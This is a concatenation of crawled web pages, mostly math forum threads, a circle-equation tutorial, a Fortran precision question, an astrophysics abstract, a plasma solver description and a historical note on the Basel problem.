=> Option 1 is the answer. | 2022-08-10 20:23:11 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7331257462501526, "perplexity": 850.9050397060277}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571210.98/warc/CC-MAIN-20220810191850-20220810221850-00300.warc.gz"} |
http://mathhelpforum.com/algebra/60825-proof-question.html | 1. ## a proof question..
for "a" and "b" are real numbers prove that:
ImageShack - Image Hosting :: 34860604zw7.gif
2. $\left| a \right| \leqslant \left| {a - b + b} \right| \leqslant \left| {a - b} \right| + \left| b \right|\; \Rightarrow \;\left| a \right| - \left| b \right| \leqslant \left| {a - b} \right|$
$\begin{gathered}
\left| b \right| \leqslant \left| {b - a + a} \right| \leqslant \left| {b - a} \right| + \left| a \right|\; \Rightarrow \;\left| b \right| - \left| a \right| \leqslant \left| {b - a} \right| = \left| {a - b} \right| \hfill \\
- \left| {a - b} \right| \leqslant \left| a \right| - \left| b \right| \leqslant \left| {a - b} \right| \hfill \\
\end{gathered}$
3. ## how??
first we have
|a-b|>=||a|-|b||
what did you do at the first step in order to transform it into
http://img152.imageshack.us/img152/5374/52524050qr2.gif
4. That is a simple application of the triangle inequality.
In fact, the entire problem depends upon the triangle inequality.
It also depends upon the general fact $
\left| a \right| \leqslant \left| b \right|\text{ if and only if } - \left| b \right| \leqslant a \leqslant \left| b \right|$
.
5. can you tell me
what operation you did in each step of this prove
?? | 2017-03-23 23:27:07 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 3, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9122834801673889, "perplexity": 1279.4638896296624}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-13/segments/1490218187225.79/warc/CC-MAIN-20170322212947-00275-ip-10-233-31-227.ec2.internal.warc.gz"} |
http://www.standard-form.org/standard-form-of-a-circle.html | # Standard Form of a Circle
## Circle
A circle is the path of a point which moves at a constant distance from a fixed point in a plane. The fixed point is known as center of the circle and the constant distance is known as the radius of the circle.
Radius of a circle will be always a positive constant.
Look at the figure below. This is a circle with center O and radius r.
## Standard form of a circle
If the center of the circle is at the point (h, k) and has radius of the circle is r, then the equation of the circle is given by (x - h)2+ (y - k)2= r2
This representation of the circle is called the standard form.
Proof
Let c(h, k) be the center of the circle and r be the radius of the circle. Let L(x, y) be a point on the circle. The CL = r. Draw perpendiculars from CP and LQ to the x axis and and draw perpendicular CM.
We can see that CM = PQ = OQ - OP = x - h
ML = LQ - MQ = LQ - CL = y - k
Δ CML is a right angled triangle. So by Pythagoras theorem,
CM2 + ML2 = CL
That is (x - h)2 + (y - k)2 = r2
Hence proved.
Lets consider a few examples.
Example 1: -
Write the equation of the circle in the standard form, whose center is (2, 5) and radius is 3.
Solution: -
Given center of the circle,(h, k) = (2, 5) and radius of the circle, r = 3.
We know that the standard form of a circle is (x - h)2 + (y - k)2 = r2
Substituting for h, k and r, we get
(x - 2)2 + (y - 5)2 = 32
Simplifying we get,
(x - 2)2 + (y - 5)2 = 9
So the required equation is (x - 2)2 + (y - 5)2 = 9.
Example 2: -
Write the equation of the circle in the standard form whose center is (3, -2) and radius is 4.
Solution: -
Given center of the circle, (h, k) = (3, -2) and radius of the circle, r = 4.
We know that the standard form of a circle is (x - h)2 + (y - k)2= r2
Substituting for h, k and r, we get
(x - 3)2 + (y - (-2))2 = 42
Simplifying we get,
(x - 3)2 + (y + 2)2 = 16
So the required equation is (x - 3)2 + (y + 2)2 = 16.
Example 3: -
Identify the center and radius of the circle (x + 10)2 + (y - 4)2 = 25.
Solution: -
Given equation is (x + 10)2 + (y - 4)2 = 25.
We know that the standard form of a circle is (x - h)2 + (y - k)2 = r2
Comparing the given equation with the standard form, we get
h = -10, k = 4 and r2 = 25. Taking square root on both sides of r2 = 25, we get r = 5.
So the center of the circle is (-10, 4) and radius is 5.
Example 4: -
Identify the center and radius of the circle (x + 7)2 + (y + 12)2 = 36.
Solution: -
Given equation is (x + 7)2 + (y + 12)2 = 36
We know that the standard form of a circle is (x - h)2 + (y - k)2 = r2
Comparing the given equation with the standard form, we get
h = -7, k = -12 and r2 = 36. Taking square root on both sides of r2 = 36, we get r = 6
So the center of the circle is (-7, -12) and radius is 6.
### Special cases:
1. When the center is at origin and radius is r, the equation of the circle in standard form is given by x2 + y2 = r2
2. When the radius of a circle is 0, the equation of the circle in standard form becomes (x - h)2 + (y - k)2 = 0. This can happen only when the circle reduces to a point. So this circle is called a point circle.
Try yourself: -
1. Write the equation of the circle with center (2, 0) and radius 9.
2. Identify the center and radius of the circle (x + 7)2 + (y + 16)2 = 64. | 2018-10-23 16:31:17 | {"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8155059814453125, "perplexity": 526.4102475579033}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-43/segments/1539583516480.46/warc/CC-MAIN-20181023153446-20181023174946-00493.warc.gz"} |
http://cogsci.stackexchange.com/questions/5259/identifying-overly-complex-tasks | @NickStauner a large error rate among system task performers, a failure of system participants to get better over time doesn't imply that experience is helping to navigate the system. I'm not sure you've really proven your point here. – Chuck Sherrington Jan 2 '14 at 13:33
True; With the right amount of experience, professionals in tax, law, and medical coding navigate these concepts just fine does. ;) What you just quoted could result from a particularly steep learning curve too though, so you can't rule out complexity as the problem just because few or none have navigated it. My point is that you can't really prove your point (that your phrasing is necessarily more suitable), so it might boil down to a trivial distinction, especially if the original question applies reasonably well to both ambiguous and complex (somewhat synonymous!) systems. – Nick Stauner Jan 2 '14 at 13:55 | 2015-07-05 02:45:09 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.442028284072876, "perplexity": 1945.9386337225271}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-27/segments/1435375097199.58/warc/CC-MAIN-20150627031817-00224-ip-10-179-60-89.ec2.internal.warc.gz"} |
http://www.vallis.org/blogspace/preprints/1107.4243.html | ## [1107.4243] Kinematic signature of an intermediate-mass black hole in the globular cluster NGC 6388
Authors: N. Lützgendorf, M. Kissler-Patig, E. Noyola, B. Jalali, P. T. de Zeeuw, K. Gebhardt, H. Baumgardt
Date: 21 Jul 2011
Abstract: Intermediate-mass black holes (IMBHs) are of interest in a wide range of astrophysical fields. In particular, the possibility of finding them at the centers of globular clusters has recently drawn attention. IMBHs became detectable since the quality of observational data sets, particularly those obtained with HST and with high resolution ground based spectrographs, advanced to the point where it is possible to measure velocity dispersions at a spatial resolution comparable to the size of the gravitational sphere of influence for plausible IMBH masses. We present results from ground based VLT/FLAMES spectroscopy in combination with HST data for the globular cluster NGC 6388. The aim of this work is to probe whether this massive cluster hosts an intermediate-mass black hole at its center and to compare the results with the expected value predicted by the $M_{\bullet} - \sigma$ scaling relation. The spectroscopic data, containing integral field unit measurements, provide kinematic signatures in the center of the cluster while the photometric data give information of the stellar density. Together, these data sets are compared to dynamical models and present evidence of an additional compact dark mass at the center: a black hole. Using analytical Jeans models in combination with various Monte Carlo simulations to estimate the errors, we derive (with 68% confidence limits) a best fit black-hole mass of $(17 \pm 9) \times 10ˆ3 M_{\odot}$ and a global mass-to-light ratio of $M/L_V = (1.6 \pm 0.3) \ M_{\odot}/L_{\odot}$.
#### Jul 31, 2011
1107.4243 (/preprints)
2011-07-31, 08:05 | 2018-01-21 07:07:24 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6246097683906555, "perplexity": 1342.5663084786474}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-05/segments/1516084890314.60/warc/CC-MAIN-20180121060717-20180121080717-00610.warc.gz"} |
http://www.mzan.com/article/48755909-incompatible-with-option-fdefault-real-8-during-compilation.shtml | Home ISO_FORTRAN_ENV or -fdefault-real-8 to promote reals to double precision
Reply: 0
# ISO_FORTRAN_ENV or -fdefault-real-8 to promote reals to double precision
user2488
1#
user2488 Published in June 19, 2018, 4:19 pm
I've always been using the -fdefault-real-8 option of gfortran to automatically promote every single REAL declared anywhere in the program to double precision, along with any constant, e.g. 1.23. If I ever wanted to switch back to single precision, I only had to remove that option and recompile, without changing a single character in the source code. At a point I started using ISO_FORTRAN_ENV module, since it allows me to use constants like INPUT|OUTPUT|ERROR_UNIT, as well as IOSTAT_END and IOSTAT_EOR and others (which seemed to be a good and easy move in the direction of portability, am I wrong?). From then on, I've been seeing and ignoring the following warning Warning: Use of the NUMERIC_STORAGE_SIZE named constant from intrinsic module ISO_FORTRAN_ENV at (1) is incompatible with option -fdefault-real-8 since such incompatibility seems to have no effect so far. Now I'd like to get rid of this warning if it is possible and worth it. If I correctly understood, to avoid this warning I should give up on -fdefault-real-8 option and change every REAL to REAL(real64) and/or to REAL(dp) (provided that, in the latter case, the statement USE, INTRINSIC :: ISO_FORTRAN_ENV, dp => real64 is put in that unit), which is not a difficult task for sed or vim. Nevertheless, it seems to me that this change wouldn't be the same as using -fdefault-real-8 option, since all constants would stay single precision as long as I don't add d0 to them. Assumed the -fdefault-real-8 option is removed and ISO_FORTRAN_ENV is used anywhere, is there any way to make any constant across the program behave as each had d0 suffix? Whether or not this is possible, have I correctly extrapolated that I can put the following lines in a single module which is used by all others program units, each of which can then use dp as kind type parameter? USE, INTRINSIC :: ISO_FORTRAN_ENV INTEGER, PARAMETER :: dp = real64 I would prefer this way since I could switch to real32 or real128 or whatever by changing only that line.
You need to login account before you can post.
Processed in 0.65886 second(s) , Gzip On .
© 2016 Powered by mzan.com design MATCHINFO | 2018-06-19 16:19:31 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5060341358184814, "perplexity": 1512.2891059984477}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-26/segments/1529267863100.8/warc/CC-MAIN-20180619154023-20180619174023-00275.warc.gz"} |
https://web2.0calc.com/questions/i-need-help_67028 | +0
# I need help
0
48
1
+170
In rectangle $ABCD$, shown here, $\overline{CE}$ is perpendicular to $\overline{BD}$. If $BC = \sqrt 3$ and $DC = 3$, what is $CE$?
Feb 28, 2021
CE=$\boxed{\frac32}$ | 2021-04-12 06:19:16 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9995715022087097, "perplexity": 1722.787520617697}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-17/segments/1618038066613.21/warc/CC-MAIN-20210412053559-20210412083559-00209.warc.gz"} |
https://pos.sissa.it/335/004/ | Volume 335 - 2nd World Summit: Exploring the Dark Side of the Universe (EDSU2018) - The Cosmos as a Particle Detector
Galaxy Clustering and Baryon Acoustic Oscillations
B. Hoeneisen
Full text: pdf
Pre-published on: 2018 November 27
Published on: 2018 December 11
Abstract
We present measurements of Baryon Acoustic Oscillation
(BAO) distances used as an uncalibrated standard ruler that
determine $\Omega_{\textrm{de}}(a)$, $\Omega_k$, $\Omega_m$, and $d_{\textrm{BAO}} \equiv r_* H_0 / c$;
and BAO distances used as a calibrated standard ruler
$r_*$ that constrains a combination of $\sum m_\nu$, $h$, and $\Omega_b h^2$.
The cosmological parameters obtained in this analysis are
compared with the Review of Particle Physics, PDG 2018.
DOI: https://doi.org/10.22323/1.335.0004
Open Access | 2018-12-12 00:36:15 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3037308156490326, "perplexity": 7231.12944709101}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-51/segments/1544376823710.44/warc/CC-MAIN-20181212000955-20181212022455-00108.warc.gz"} |
https://radar.inria.fr/report/2018/castor/uid41.html | EN FR
• Legal notice
• Accessibility - non conforme
## Section: New Software and Platforms
### FBGKI
Full Braginskii
Functional Description: The Full Braginskii solver considers the equations proposed by Braginskii (1965), in order to describe the plasma turbulent transport in the edge part of tokamaks. These equations rely on a two fluid (ion - electron) description of the plasma and on the electroneutrality and electrostatic assumptions. One has then a set of 10 coupled non-linear and strongly anisotropic PDEs. FBGKI makes use in space of high order methods: Fourier in the toroidal periodic direction and spectral elements in the poloidal plane. The integration in time is based on a Strang splitting and Runge-Kutta schemes, with implicit treatment of the Lorentz terms (DIRK scheme). The spectral vanishing viscosity (SVV) technique is implemented for stabilization. Static condensation is used to reduce the computational cost. In its sequential version, a matrix free solver is used to compute the potential. The parallel version of the code is under development.
• Contact: Sebastian Minjeaud | 2023-03-23 01:04:42 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 2, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3364127576351166, "perplexity": 2190.4670379669533}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-14/segments/1679296944606.5/warc/CC-MAIN-20230323003026-20230323033026-00200.warc.gz"} |
http://mathhelpforum.com/algebra/121370-math-help-basic-algebra.html | # Math Help - math help basic algebra
1. ## math help basic algebra
I used to be a physics major when I was in college. That was when I was about 19, about seven years ago. I completely lost all of my math skills, even the basic things. I'm joining the Army and they have pretty simple questions on the ASVAB (military entrance test.)
I need help solving the equations. I need an explanation and all that good stuff. Is this the right forum?
I'll start with the first question: If Lynn can type a page in p minutes, what piece of the page can she do in 5 minutes?
If im in the wrong forum, just tell me, thanx.
B. p - 5
C. p + 5
D. p/5
E. 1- p + 5
2. Originally Posted by markr1983
I used to be a physics major when I was in college. That was when I was about 19, about seven years ago. I completely lost all of my math skills, even the basic things. I'm joining the Army and they have pretty simple questions on the ASVAB (military entrance test.)
I need help solving the equations. I need an explanation and all that good stuff. Is this the right forum?
I'll start with the first question: If Lynn can type a page in p minutes, what piece of the page can she do in 5 minutes?
If im in the wrong forum, just tell me, thanx.
B. p - 5
C. p + 5
D. p/5
E. 1- p + 5
rate = $\frac{1 \, page}{p \, minutes}$
(rate)(time) = pages completed
$\frac{1}{p} \cdot 5 = \frac{5}{p}$ pages | 2014-11-27 23:28:12 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 2, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.48107486963272095, "perplexity": 1397.3525220036274}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 5, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-49/segments/1416931009292.37/warc/CC-MAIN-20141125155649-00244-ip-10-235-23-156.ec2.internal.warc.gz"} |
https://socratic.org/questions/how-do-you-find-the-sum-of-the-infinite-geometric-series-1-x-x-2-x-3-x-4 | # ?How do you find the sum of the infinite geometric series 1 - x + x^2 - x^3 + x^4 ...?
Apr 15, 2018
See explanation.
#### Explanation:
A geometric series is convergent if and only if its common ratio is between $- 1$ and $1$, and its sum is then defined as:
## $S = {a}_{1} / \left(1 - q\right)$
So in the given task we have:
${a}_{1} = 1$ and $q = - x$.
According to the given condition we can say that:
If x in (-1;1) then the series has a finite sum and it is: | 2020-10-26 16:33:42 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 7, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9414725303649902, "perplexity": 191.74016881627648}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-45/segments/1603107891428.74/warc/CC-MAIN-20201026145305-20201026175305-00014.warc.gz"} |
http://mathhelpforum.com/calculus/155871-algebra-involved-limit-have-work-but-need-explanation.html | # Math Help - Algebra involved in limit...have the work, but need explanation
1. ## Algebra involved in limit...have the work, but need explanation
http://i53.tinypic.com/vgr8yp.jpg
^see pic
Thank you so much!!
2. They've multiplied by a cleverly disguised $1$.
In this case, $\displaystyle\frac{\frac{1}{x}}{\frac{1}{x}}$.
So $\displaystyle{\frac{x}{\sqrt{x^2 + x} + x} = \frac{x}{\sqrt{x^2+x}+x}\cdot \frac{\frac{1}{x}}{\frac{1}{x}}}$
$\displaystyle{ = \frac{1}{\frac{\sqrt{x^2+x}+x}{x}}}$
$\displaystyle{ = \frac{1}{\frac{\sqrt{x^2+x}}{x} + 1}}$
$\displaystyle{ = \frac{1}{\frac{\sqrt{x^2+x}}{\sqrt{x^2}} + 1}}$
$\displaystyle{= \frac{1}{\sqrt{\frac{x^2 + x}{x^2}} + 1}}$
$\displaystyle{= \frac{1}{\sqrt{1 + \frac{1}{x}} + 1}}$.
3. Ahh I see, thanks!! I wish I had been that perceptive and noticed that trick :[ | 2016-06-29 01:18:50 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 8, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9443687200546265, "perplexity": 8929.017745302797}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-26/segments/1466783397428.37/warc/CC-MAIN-20160624154957-00149-ip-10-164-35-72.ec2.internal.warc.gz"} |
https://brilliant.org/problems/streak/ | # Streak!
Fascinated by the beauty of randomness, a Kaboobly Dooist asks the craftsmen to paint a linear wall consisting of $$2^{16}$$ stones in the following way:
For each stone: Flip a coin; If the toss results heads, paint the stone white; If the toss results tails, paint the stone black.
What is the expected longest contiguous streak consisting of consecutive black stones?
If the answer is $$n$$, enter your answer as $$\lfloor n \rfloor$$.
× | 2017-10-19 22:16:05 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6545222997665405, "perplexity": 4001.8179486714544}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-43/segments/1508187823478.54/warc/CC-MAIN-20171019212946-20171019232946-00304.warc.gz"} |
https://www.gradesaver.com/textbooks/math/applied-mathematics/elementary-technical-mathematics/chapter-7-section-7-1-ratio-exercises-page-271/62 | Elementary Technical Mathematics
Published by Brooks Cole
Chapter 7 - Section 7.1 - Ratio - Exercises - Page 271: 62
112.5 drops/min
Work Step by Step
Flow rate is expressed as drops per minute. Use conversion factors (equal ratios) to convert the given values. $\frac{900\ mL}{2\ hr}=\frac{900\ mL}{2\ hr}\times\frac{15\ drops}{1\ mL}\times\frac{1\ hr}{60\ min}=\frac{13500\ drops}{120\ min}=\frac{13500\div120\ drops}{120\div120\ min}=\frac{112.5\ drops}{1\ min}$
After you claim an answer you’ll have 24 hours to send in a draft. An editor will review the submission and either publish your submission or provide feedback. | 2021-02-26 01:46:53 | {"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6268549561500549, "perplexity": 3741.367646833057}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": false}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-10/segments/1614178355944.41/warc/CC-MAIN-20210226001221-20210226031221-00054.warc.gz"} |
https://proofwiki.org/wiki/Basel_Problem/Historical_Note | # Basel Problem/Historical Note
## Historical Note on Basel Problem
The Basel Problem was first posed by Pietro Mengoli in $1644$.
Its solution is generally attributed to Leonhard Euler , who solved it in $1734$ and delivered a proof in $1735$.
However, it has also been suggested that it was in fact first solved by Nicolaus I Bernoulli.
Jacob Bernoulli had earlier established that the series was convergent, but had failed to work out what to.
The problem is named after Basel, the home town of Euler as well as of the Bernoulli family.
If only my brother were alive now.
